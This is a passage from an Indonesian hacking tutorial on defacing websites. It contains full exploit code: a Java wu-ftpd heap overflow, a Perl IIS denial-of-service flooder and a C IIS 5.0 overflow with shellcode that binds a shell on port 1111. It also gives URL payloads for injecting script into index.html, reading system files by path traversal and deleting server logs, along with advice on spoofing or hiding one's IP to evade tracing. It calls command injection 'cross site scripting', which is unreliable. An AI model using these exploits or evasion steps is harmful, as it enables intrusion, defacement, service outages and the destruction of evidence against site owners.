buf.append((char)Integer.parseInt(heap[3], 16)+&#8221;"+(char)Integer.parseInt(heap[2], 16)+&#8221;"+(char)Integer.parseInt(heap[1], 16)+&#8221;"+(char)Integer.parseInt(heap[0], 16));<br />
buf.append(&#8220;\n&#8221;);</p>
<p>connect(victim);</p>
<p>dosend(buf.toString());</p>
<p>StringBuffer snd=new StringBuffer(&#8220;site exec &#8220;+buf2+&#8221; AAAA\n&#8221;);<br />
dosend(snd.toString());</p>
<p>buf2=new StringBuffer(&#8220;&#8221;);</p>
<p>file://fill buffer with nops<br />
for(int i=0;i!=480-sclength-1;i++)<br />
buf2.append((char)0&#215;90);</p>
<p>file://add chunks xebx18<br />
for(int l=2;l&lt;(440-sclength);l+=6)<br />
{<br />
buf2.setCharAt(l,(char)0xeb);<br />
buf2.setCharAt(l+1,(char)0&#215;18);<br />
}</p>
<p>file://add shellcode<br />
buf2.append(sc);</p>
<p>if(mode.equals(&#8220;real&#8221;))buf2.append(&#8220;/bin/////sh&#8221;);<br />
else buf2.append(&#8220;/sbin/route&#8221;);</p>
<p>snd=new StringBuffer(&#8220;&#8221;);<br />
snd.append(&#8221; &#8220;+buf2);<br />
dosend(snd.toString());</p>
<p>char c=0&#215;00;<br />
sout.print(c+&#8221;\n&#8221;);</p>
<p>dosend(&#8220;stat ~{\n&#8221;);<br />
dosend(&#8220;quit\n&#8221;);</p>
<p>if(s!=null)<br />
{</p>
<p>if(!mode.equals(&#8220;real&#8221;))<br />
{<br />
String temp;</p>
<p>try<br />
{<br />
while((temp=sin.readLine())!=null)<br />
{</p>
<p>if(temp.indexOf(&#8220;Destination&#8221;)&gt;-1)<br />
return true;</p>
<p>}<br />
}<br />
catch(IOException e){}</p>
<p>}</p>
<p>}//if(s!=null)</p>
<p>if(s!=null &amp;&amp; !mode.equals(&#8220;real&#8221;))<br />
{<br />
try<br />
{<br />
s.close();s=null;sin=null;sout=null;<br />
}<br />
catch(IOException e){}<br />
}</p>
<p>return false;<br />
}//exploit</p>
<p>public static void main(String args[])<br />
{<br />
woot wu=new woot();<br />
boolean brute=true;<br />
reader = new Reader(wu);<br />
writer = new Writer(wu);</p>
<p>try<br />
{<br />
if(args[0]!=null)<br />
victim=args[0];<br />
}<br />
catch(ArrayIndexOutOfBoundsException a){}</p>
<p>System.out.println(&#8220;\n!! wu-ftpd 2.6.[0/1] remote heap overflow exploit&#8221;);<br />
System.out.println(&#8220;!! original exploit code by zen-parse&#8221;);<br />
System.out.println(&#8220;!! ported and modified by CraigTM [ElectronicSouls]&#8220;);</p>
<p>if(victim.equals(&#8220;&#8221;))<br />
wu.getTarget();</p>
<p>System.out.print(&#8220;\n## Checking server version &amp; anonymous access&#8221;);</p>
<p>if(!wu.allowsAnonymous())<br />
{<br />
System.out.println(&#8220;failed: anonymous access denied!&#8221;);<br />
System.exit(-1);<br />
}<br />
else<br />
System.out.println(&#8220;ok&#8221;);</p>
<p>try<br />
{<br />
if(args[1]!=null)<br />
{<br />
tmp_heap=Long.parseLong(args[1],16);<br />
System.out.println(&#8220;++ Option #&#8221;+m+&#8221; chosen.&#8221;);<br />
m=(m-1)*4;<br />
System.out.println(&#8220;++ Exploiting &#8220;+targets[m]+&#8221;\n&#8221;);</p>
<p>tmp_got=Long.parseLong(targets[m+1],16)-12;<br />
tmp_inpbuf=Long.parseLong(targets[m+2],16)+20;</p>
<p>System.out.println(&#8220;got:\t&#8221;+Long.toHexString(tmp_got+12)+&#8221;\ninpbuf:\t&#8221;+Long.toHexString(tmp_inpbuf-20));<br />
System.out.println(&#8220;heap:\t&#8221;+Long.toHexString(tmp_heap)+&#8221;\n&#8221;);<br />
System.out.println(&#8220;\nTrying to get shell&#8230;\n&#8221;);</p>
<p>wu.exploit(&#8220;real&#8221;);<br />
wu.shell();</p>
<p>brute=false;<br />
}<br />
}<br />
catch(ArrayIndexOutOfBoundsException a){}</p>
<p>if(brute)<br />
{</p>
<p>if(wu.force())<br />
{<br />
wu.exploit(&#8220;real&#8221;);<br />
wu.shell();<br />
}</p>
<p>else<br />
System.out.println(&#8220;\nSome value somewhere is bad. Could be in a skipped range.&#8221;);</p>
<p>}//brute force the heap</p>
<p>System.out.println();</p>
<p>}//main()</p>
<p>}//class</p>
<p>///////////////////////////////////////////////////////////////////////////////<br />
//////////////////////////////SOCKET/READER////////////////////////////////////</p>
<p>class Reader extends Thread<br />
{</p>
<p>woot W;</p>
<p>public Reader(woot w)<br />
{<br />
super(&#8220;shell Reader&#8221;);<br />
this.W = w;<br />
}</p>
<p>public void run()<br />
{<br />
try<br />
{<br />
String tmp;</p>
<p>while(true)<br />
{<br />
tmp=woot.sin.readLine();</p>
<p>if(tmp==null)<br />
System.exit(1);</p>
<p>System.out.println(tmp);<br />
}</p>
<p>}<br />
catch (IOException e){}<br />
}</p>
<p>}//class Reader</p>
<p>//////////////////////////////////////////////////////////////////////////////////////////<br />
/////////////////////////////////////SOCKET/WRITER////////////////////////////////////////</p>
<p>class Writer extends Thread<br />
{</p>
<p>woot W;</p>
<p>public Writer(woot w)<br />
{<br />
super(&#8220;shell Writer&#8221;);<br />
this.W = w;<br />
}</p>
<p>public void run()<br />
{</p>
<p>try<br />
{<br />
DataInputStream in = new DataInputStream (System.in);<br />
String tmp;</p>
<p>while(true)<br />
{<br />
tmp=in.readLine();<br />
woot.sout.println(tmp);<br />
}</p>
<p>}<br />
catch (IOException e){}<br />
}</p>
<p>}//class Writer</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>4.<br />
# Written by Ivan Hernandez over code of Georgi Guninski<br />
use IO::Socket;</p>
<p>print &#8220;IIS 5.0 Bogus Content-Length\n&#8221;;</p>
<p>$port = @ARGV[1];<br />
$host = @ARGV[0];</p>
<p>$req=&#8221;GET /ampgn HTTP/1.1<br />
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,<br />
application/vnd.ms-excel, application/vnd.ms-powerpoint,<br />
application/msword, */*<br />
Accept-Language: en-us<br />
Accept-Encoding: gzip, deflate<br />
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)<br />
Host: 192.168.0.10<br />
Connection: Keep-Alive<br />
Content-Length: 5300643<br />
Authorization: Basic &#8221; . &#8220;A&#8221; x 50000 . &#8220;\r\n\r\n&#8221;;</p>
<p>$i=0;<br />
while (1) {<br />
$socket[$i] = IO::Socket::INET-&gt;new(PeerAddr =&gt;<br />
$host,PeerPort =&gt; $port,Proto =&gt; &#8220;TCP&#8221;);<br />
syswrite($socket[$i],$req,length($req));<br />
print &#8220;.&#8221;;<br />
$i++;</p>
<p>}</p>
<p>$i=0;</p>
<p>print &#8220;\nDone.&#8221;;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Catatan: Huh! Jangan berpikir bahwa jika anda bisa melakukan hack terus menerus dengan kode yang tersedia diatas. Maaf!! exploit ini sudah kadaluarsa! sudah tidak berfungsi lagi&#8230;? sebenarnya code ini diberikan hanya untuk memberikan anda awalan perihal coding exploit. Hacking tidak dapat dilakukan secara instant. Jika anda memikirkan bahwa anda bisa sekedar surfing sepanjang hari mencari exploit dan malam harinya anda melakukan hack website, pikirkan lagi.. anda membutuhkan code exploit anda sendiri atau memodifikasi exploit sesuai keperluan hacking anda.</p>
<p>MENGEKSPLOITASI VULNERABILITY YANG ADA<br />
UNTUK MENYUSUP KEDALAM SERVER<br />
Diatas telah saya sajikan beberapa code exploit yang ditulis dalam bahasa seperti Perl, Java dan C. Ada code exploit yang ditulis sehubungan dengan vulnerability yang ditemukan pada kebanyakan web server dan software maintenance website yang telah dipatch terhadap vulnerability tersebut. Jadi anda tidak dapat menembus web server target dengan code ini. Tetaplah mengupdate pengetahuan mengenai vulnerability terakhir dengan mengunjungi situs yang saya sebutkan diatas. Tapi apa yang harus anda lakukan adalah menulis code exploit anda sendiri.</p>
<p>Umumnya, sejauh yang saya pertimbangkan code exploit tersedia di internet yang terkait dengan vulnerabily telah dipatch.. singkatnya.. sudah kadaluarsa. Jadi anda harus mengulis code exploit anda sendiri dengan tujuan untuk menyusup ke website berkualitas tinggi.</p>
<p>Katakanlah, beberapa hari yang lalu sebuah Dos Vulnerability telah ditemukanapada server Apache yang menjalankan PHP. Menurut vulnerabiltiy tersebut jika php module dipanggil tanpa parameter yang benar maka php modul tidak akan berhenti.Akibatnya dengan meningkatnya jumlah php module yang terus menerus menjadikan konsumsi sumber daya memory sistem menjadi besar.</p>
<p>OK, ini adalah konsep. Sekarang anda harus menulis code exploit untuk hal ini. Anda dapat memeriksa internet untuk mencari exploit yang ada dan mungkin anda bisa mendapatkan suatu exploit yang ditulis dalam bahasa C. Sekarangjika anda tidak memiliki latar belakang pemrograman apapun maka anda tidak akan mampu mengompilasi code tersebut dan membentuk file executable karena code exploit yang tersedia di internet memerlukan modifikasi dan seluruh kompilasi diatas dari code C terkadang bervariasi dari satu compiler dengan compiler lainnya. Namun jika anda memiliki latar belakang pemrograman maka anda dapat membuat program Multithread sederhanda lainnya dalam bahasa C atau Java (entah dengan perl). Seluruh yang harus anda lakukan adalah sejumlah besar dari setiap jalur yang mengirimkan suatu request ke php module pada web server dengan incorrect parameter. Dan itu dia.. jika web server tersebut benar-benar vulnerable anda dapat membuat serangan DoS (Denial of Service). Seluruh yang saya ingin jelaskan dalam paragraf ini adalah cara mendeface website, anda perlu latar belakang pemrograman yagn bagus.</p>
<p>INJEKSI MALICIOUS CODE MELALUI URL</p>
<p>Apakah Cross Site Scripting itu?</p>
<p>Pada dasarnya cross site scripting adalah metode eksekusi atau argumen kewenangan sistem terhadap web server dengan mengeksploitasi vulnerabiltiy melalui URL. Bug Cross Site Scripting memungkinkan anda mengeksekusi perintah shell, menginjeksi perintah kedalam file sistem (terutama menggunakan ECHO pada shell dan meneruskan outputnya), dan bahkan membuat atua menghapus file pada sistem melalui shell tersebut mengingat bahwa status sitem yagn ada memiliki cukup execution privilege.</p>
<p>Ini merupakan metode yang dikenal secara luas dari mendeface suatu website. Sesuai dengan metode ini, seorang attaceker menemukan beberapa cross site scripting vulnerabiltiy pada software web server tersebut dan berusaha mengeksekusi script atau perintah sistem lainnya pada sistem yang dijalankan oleh web server target.</p>
<p>Jika attacker tersebut menemukan beberapa cross site scripting vulnerabiltiy maka dia akan mencoba memasukkan beberapa pengarahan malicious code ke dalam file index.html jika website tersebut bukan berbasiskan database yang akan mengakibatkan pengarahan website setiap kali halaman index.html diload. Kita dapat menginjeksi malicious code menggunakan test-cgi.bt\at vulnerabiltiy yang ada pada Apache 2.0.x (Win32) (versi terdahulu juga berisikan file test-cgi.bat). Serangan url ini akan terlihat seperti :</p>
<p>http://www.target.com/cgi-bin/test-cgi.bat?|echo+&lt;script&gt;+window.open(‘http://hackersclub.up.to’)+&lt;/script&gt;+&gt;&gt;/htdocs/index.html</p>
<p>Sekarang jika serangan tersebut berhasil maka script tersebut akan tercipta dalam file statis index.html dan saat file ini meload sebuah window pop up akan meload websiteku.</p>
<p>Bug lainnya yang terkenal dietmukana dalam versi Apache 2.0.x perlu disebutkan karena menyebabkan eksploitasi yang kita lakukan menampilkan banyak hal, termasuk pula Deteksi Remote Operating System, menginjeksi malicious code, mendeface website, menyusup ke sistem dan mengambil root privilege. Versi terakhir dari Apache web server berisikan direktori virtual yang disebut Error dalam server root. Direktori ini berisikan file HTML yang berhubungan dengan pesan error yagn lain. Sekarang jika kita melakukan request terhadap suatu file dalam direktori ini dengan ekstensi .var maka server tersebut akan merombak lokasinya.</p>
<p>Sekarang jika kita melakukan request terhadap file menggunakan URL ini:</p>
<p>http://www.target.com/error/HTTP_NOT_FOUND.html.var</p>
<p>Maka web server tersebut merespoonnya dengan output sebagai berikut:</p>
<p>Not Acceptable<br />
|<br />
|An appropriate representation of the requested resource /error/HTTP_NOT_FOUND.html.var could<br />
not be found on this server.<br />
|Available variants:<br />
|<br />
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var , type text/html, language<br />
de<br />
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var , type text/html, language<br />
en<br />
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var , type text/html, language<br />
es<br />
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var , type text/html, language<br />
fr</p>
<p>Saat ini dengan melihat jalur instalasi software server, kita dapat menemukan banyak informasi megnenai target kita. Pertama kali kita dapat mengatakan bahwa target tersebut adalah Sistem Operasi Window sebagaimana halnya dengan sistem *nix tidak memiliki c:\ benar khan??</p>
<p>Versi Apache ini mengijinkan kita melakukan Cross Site Scripting&#8230; kita dapat mengeksekusi kewenangan perintah sistem melalui direktori cgi-bin atau direktori error tersebut. Perhatikan URL berikut ini:</p>
<p>http://127.0.0.1/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini</p>
<p>url yang diberikan berupa Hex Encode URL yang merequest terhadap file win.ini terhada read access pada direktori winnt.</p>
<p>catatan : %5c = ‘\’ (back slash)<br />
%2e = ‘.’ (dot) ( Form Normal dari URL diatas adalah :<br />
http://127.0.0.1/error/\..\..\..\..\winnt\win.ini</p>
<p>URL cross site scripting lainnya bahwa kita dapat membuatnya:</p>
<p>http://127.0.0.1/cgi-bin/%5c%2e%2e%5cbin%5cwintty.exe?%2dt+HELLO</p>
<p>Dalam kasus ini kita menggunakan utility wintty.exe yang terletak dalam direktori /bin dari instalasi Apache. Selanjutnya sebagaimana yang telahsaya sebutkan sebelumnya kapunpun kita memanggil suatu file .exe atau .bat (shell hasil eksekusi) maka sebuah shell akan dibuat untuk proses eksekusi dan seperti kasus kewenangan perintah sistem menggunakan operator | (karakter pipe)</p>
<p>AMANKAN DIRI ANDA SENDIRI<br />
Jika anda memiliki pengetahuan mengenai web server populer seperti IIS, Apache dsb.. maka saya yakin bahwa anda harus melewati file log yang merekam dan setiap request dibuat ke server. Selanjutnya setiap request yagn direkam sepanjang penggunaan IP sumber, maka bukan masalah yang ebsar bagi seorang administrator sistem untuk melacak malicious cracker melalui IP yang tertinggal pada lognya.</p>
<p>Jadi sangatlah penting untuk mengamankan diri anda sendiri, bila tidak anda dalam kesulitan besar&#8230; jadi pada dasarnya anda harus melakukan pembersihan file log setelah menyusup edalam suatuweb server atau menggunakan cross site scripting untuk menghapus file log ini&#8230; sebelum anda berusaha menjalankan suatu program remote exploit terhadap target anda, anda perlu menyembunyikan identitas anda, yakni IP.. IP anda adalah masalah besar yang harus anda hadapi. JIka anda memiliki sedikit pengetahuan mengenai Networking maka tentulah anda tahu apa saja yang dapat dilakukan dengan suatu IP&#8230; untuk mengetahui lebih lanjut mengenai pelacakan IP bacalah manual saya yang berjudul Tracing IP pada http://www.hackersclub.up.to.</p>
<p>Sebenarnya file log dibuat pada beberapa direktori standar.. sebagai contoh dalam instalasi default Apache, file log ini berada dalam C:\Apache Group\Apache\logs [saya mengujinya pada Apache 1.3.x] tetap ada suatu access log dan error log yang merekam even yang terkait. Saat sebuah pesan 200 OK ditampilkan oleh server pada respon ke beberapa request maka even tersebut terekam kedalam file access log dan pesan error seperti 404 File Not Found, 403 Forbiddent dan pesan error lainnya tersimpand alam file error log tersebut&#8230;</p>
<p>Hiding IP: pada dasarnya sat anda mengirimkan packet data ke suatu server IP asli anda akan direkam. Tapi jika anda menggunakan sistem operasi yang memperbolehkan penggunaan RAW SOCKET maka anda dapat mengirim paket data yang dibuat sendiri ke server dengan didahului IP asli anda..</p>
<p>Saat ini banyak yang harus anda tanyakan apakah RAW SOCKETS itu. OK, raw socket kurang lebih sama dengan socket biasa tapi memungkinkan kendali lebih atas packet data ke Socket Programmer. Dalam sistem WIn9x yang memiliki socket normal IP dan port asli dan informasi lainnya termasuk dalam packet data oleh kernel Sistem operasi. Tapi dalam sistem raw socket (dikenal juga sebagai Berkley Socket setelah sesuai dengan nama developer raw socket yagn merupakan karakteristik fitur sistem *nix namun diimplemetasikan oleh Microsoft dalam Windows XP.. entah apakah Win 2000 mendukung raw socket atau tidak ya?) memungkinkan socket programmer menyisipkan IP dan Port sumber buatan sendiri ke dalam sebuah packet data.</p>
<p>Oleh karena itu jika anda menggunakan sistem *nix atau sistem Windows XP maka anda dapat berbuat sesuka hati. Jika anda memiliki keterampilan pemrograman maka anda bisa mendapatkan code program yang dapat mengirimkan utilisasi packet datas yagn dibuat sendiri pada raw socket. Dalam kasus ini packet data yagn akan anda kirimkan akan di log dengan IP palsu pada file log server.</p>
<p>Metode lainnya agar anda aman adalah membersihkan file log. Apa yang dapat anda lakukanadalah menggunakan cross site scripting vulnerability untuk menghapus file log. Sesuatu seperti:</p>
<p>http://www.target.com/cgi-bin/test-cgi.bat?|/DEL+..\log\*.* (pada Apache melalui test-cgi vulnerability)</p>
<p>Dalam kasus IIS pada Windows 2000 anda bisa menggunakan metode berikut untuk mendapatkan DOS Shell melalui telnet.</p>
<p>Code berikut ini mengeksploitasi suatu buffer overflow IIS 5 pada Win 2000 server dan membuka port 1111 dan menciptakan suatu shell. JIka exploit tersebut ebrhasil maka seluruh yang harus anda lakukan adalah menggunakan telnet untuk terhubung ke port 1111 dari target dan anda telah menguasai sistem tersebut.</p>
<p>Kompilasi dan jalankan code exploit berikut ini:</p>
<p>/* Windows 2000 Server Exploit By CHINANSL Security Team.<br />
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.<br />
Warning:THIS PROGRAM WILL ONLY TEST.<br />
CHINANSL Technology CO.,LTD http://www.chinansl.com<br />
keji@chinansl.com<br />
*/</p>
<p>#include &#8220;stdafx.h&#8221;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;windows.h&gt;<br />
#pragma comment (lib,&#8221;Ws2_32&#8243;)</p>
<p>int main(int argc, char* argv[])<br />
{<br />
if(argc != 4)<br />
{<br />
printf(&#8220;%s ip port aspfilepath\n\n&#8221;,argv[0]);<br />
printf(&#8221; ie. %s 127.0.0.1 80 /iisstart.asp\n&#8221;,argv[0]);<br />
puts(&#8221; programed by keji@chinansl.com&#8221;);</p>
<p>return 0;<br />
}</p>
<p>DWORD srcdata=0x01e2fb1c-4;//0&#215;00457474;<br />
file://address of SHELLCODE<br />
DWORD jmpaddr=0&#215;00457494; file://0x77ebf094;/ /0x01e6fcec; file://&#8221;\x1c\xfb\xe6\x01&#8243;; file://&#8221;\x0c\xfb\xe6\x01&#8243;;</p>
<p>char* destIP=argv[1];<br />
char* destFile=argv[3];<br />
int webport=atoi(argv[2]);<br />
char* pad=&#8221;\xcc\xcc\xcc\xcc&#8221; &#8220;ADPA&#8221; &#8220;\x02\x02\x02\x02&#8243; &#8220;PADP&#8221;; file://16 bytes</p>
<p>WSADATA ws;<br />
SOCKET s;<br />
long result=0;<br />
if(WSAStartup(0&#215;0101,&amp;ws) != 0)<br />
{<br />
puts(&#8220;WSAStartup() error&#8221;);<br />
return -1;<br />
}</p>
<p>struct sockaddr_in addr;<br />
addr.sin_family=AF_INET;<br />
addr.sin_port=htons(webport);<br />
addr.sin_addr.s_addr=inet_addr(destIP);<br />
s=socket(AF_INET,SOCK_STREAM,0);<br />
if(s==-1)<br />
{<br />
puts(&#8220;Socket create error&#8221;);<br />
return -1;<br />
}</p>
<p>if(connect(s,(struct sockaddr *)&amp;addr,sizeof(addr)) == -1)<br />
{<br />
puts(&#8220;Cannot connect to the specified host&#8221;);<br />
return -1;<br />
}</p>
<p>char buff[4096];<br />
char* shellcode=&#8221;\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\xfc\x33\xc9\x89&#8243;<br />
&#8220;\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65\x6c\x33\x32&#8243;<br />
&#8220;\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32\x2e\xab&#8221;<br />
&#8220;\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\xab\x32\xc0\x4f&#8221;<br />
&#8220;\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x53\xff\xd0\x89&#8243;<br />
&#8220;\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\xff\x53\xff\xd0&#8243;<br />
&#8220;\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\xfc\xff\xd3\x89&#8243;<br />
&#8220;\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6\x66\xbe&#8221;<br />
&#8220;\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\xbe\x3e\x02\x56&#8243;<br />
&#8220;\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x56\xff\x75\xfc&#8221;<br />
&#8220;\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\xfc\xff\xd3\x89&#8243;<br />
&#8220;\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\xfc\xff\xd3\x89&#8243;<br />
&#8220;\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\xfc\xff\xd3\x89&#8243;<br />
&#8220;\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45\xe0\x6a&#8221;<br />
&#8220;\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x75\xf8\xff\xd3&#8243;<br />
&#8220;\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\xff\xd3\x89\x45&#8243;<br />
&#8220;\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13\xff\x75\xf8&#8243;<br />
&#8220;\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45\xc8\x6a&#8221;<br />
&#8220;\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x8d\x7d\xa0\x32&#8243;<br />
&#8220;\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\xc0\xab\xf7\xd0&#8243;<br />
&#8220;\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\xc8\xab\x33\xc0&#8243;<br />
&#8220;\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50\xff\x55&#8243;<br />
&#8220;\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4\x6a\x10&#8243;<br />
&#8220;\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75\xc4\xff&#8221;<br />
&#8220;\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x89\x45\xc0\x33&#8243;<br />
&#8220;\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x9c\x50\xff\x55&#8243;<br />
&#8220;\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45\x94\x50&#8243;<br />
&#8220;\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44\x32\xc0&#8243;<br />
&#8220;\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01\x89\x47&#8243;<br />
&#8220;\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x40\x89\x47\x3c&#8221;<br />
&#8220;\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x8d\x85\x38\xff&#8221;<br />
&#8220;\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51\x53\xff&#8221;<br />
&#8220;\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\xff\xff\xff\x89&#8243;<br />
&#8220;\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\xff\xff\xff\x50&#8243;<br />
&#8220;\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\xff\xff\xff\x85&#8243;<br />
&#8220;\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\xff\xff\x50\x53&#8243;<br />
&#8220;\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0\x74\x6d&#8221;<br />
&#8220;\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff\xff\xff&#8221;<br />
&#8220;\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90\x90\x90&#8243;<br />
&#8220;\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x90\x90\x33\xc0&#8243;<br />
&#8220;\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\xc0\xff\x55\xc8&#8243;<br />
&#8220;\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50\x8d\x85&#8243;<br />
&#8220;\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff&#8221;<br />
&#8220;\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4\xff\x75\xc4&#8243;<br />
&#8220;\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\xff\xff\xff\x6a&#8221;<br />
&#8220;\xff\xff\x95\x18\xff\xff\xff&#8221;;</p>
<p>char* s1=&#8221;POST &#8220;;// HTTP/1.1\r\n&#8221;;<br />
char* s2=&#8221;Accept: */*\r\n&#8221;;<br />
char* s4=&#8221;Content-Type: application/x-www-<br />
form-urlencoded\r\n&#8221;;<br />
char* s5=&#8221;Transfer-Encoding:<br />
chunked\r\n\r\n&#8221;;<br />
char* sc=&#8221;0\r\n\r\n\r\n&#8221;;</p>
<p>char shellcodebuff[1024*8];<br />
memset(shellcodebuff,0&#215;90,sizeof<br />
(shellcodebuff));<br />
memcpy(&amp;shellcodebuff[sizeof(shellcodebuff)-<br />
strlen(shellcode)-1],shellcode,strlen(shellcode));<br />
shellcodebuff[sizeof(shellcodebuff)-1] = 0;</p>
<p>char sendbuff[1024*16];<br />
memset(sendbuff,0,1024*16);</p>
<p>sprintf(sendbuff,&#8221;%s%s?%s HTTP/1.1\r\n%sHost: %s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%s&#8221;, s1, destFile, shellcodebuff, s2, destIP, s4,s 5, pad/*,srcdata,jmpaddr*/, sc);</p>
<p>int sendlen=strlen(sendbuff);<br />
*(DWORD *)strstr(sendbuff,&#8221;BBBB&#8221;) = jmpaddr;<br />
*(DWORD *)strstr(sendbuff,&#8221;AAAA&#8221;) = srcdata;</p>
<p>result=send(s,sendbuff,sendlen,0);<br />
if(result == -1 )<br />
{<br />
puts(&#8220;Send shellcode error!&#8221;);<br />
return -1;<br />
}</p>
<p>memset(buff,0,4096);<br />
result=recv(s,buff,sizeof(buff),0);</p>
<p>if(strstr(buff,&#8221;&lt;html&gt;&#8221;) != NULL)<br />
{<br />
shutdown(s,0);<br />
closesocket(s);</p>
<p>puts(&#8220;Send shellcode error!Try again!&#8221;);<br />
return -1;<br />
}</p>
<p>shutdown(s,0);<br />
closesocket(s);<br />
printf(&#8220;\nUse &lt;telnet %s 1111&gt; to connect to the host\n&#8221;,destIP);<br />
puts(&#8220;If you cannot connect to the host,try run this program again!&#8221;);</p>
<p>return 0;<br />
}</p>
<p>note : penjelasan dari code C ini diluar batasan dari manual ini</p>
<p>Apa yang code ini lakukan adalah menyebabkan overflow pada IIS Win200 dan memaksa sistem membuat shell ke IP sumber pada port 1111. sekarang jika exploit ini bekerja dengan sesuai akan ada sebuah shell pda port 1111 pada sistem target. Apa yang harus anda lakukan adalah menggunakan perintah &#8220;telnet IPtarget 1111&#8243; pada console untuk mendapatkan koneksi ke sistem tanpa otentikasi apapun.</p>
<p>Seringkali metode mengamankan diri sendiri dengan menggunakan banyak wingate atau proxy. Sebelum melakukan perintah pada sistem target anda perlu melakukannya melalui proxi atau wingate jadi IP yagn dilog pada file log server berupa Ip dari sistem proxy atau wingate tersebut, bukan IP anda. Dalam kasus ini akan sukar untuk mendeteksi anda, tapi tidak mustahil tentunya.</p>
<p>CATATAN AKHIR DAN TINDAKAN KEAMANAN<br />
Pendeface-an website telah menjadi masalah nyata pada berbagai perusahaan dan situs-situs  pemerintah saat ini semenjak website pemerintah terdeface sebagai dampak perang cyber dan alasan lain yang tidak disebutkan disini. Kebanyakan website pendeface-an website dan analisa yang saya lihat pada situs seperti http://defaced.alldas.org menunjukkan bahwa mereka telah di crack dan bukan di hack!!  dampak pada kesalahan konfigurasi dan kelalaian tanggung jawab Administrator system dan anggota lainnya dari kelompok yang terkait dengan masalah keamanan website. Saya akan menyarankan system administrator untuk mengikuti petunjuk perlindungan website mereka.</p>
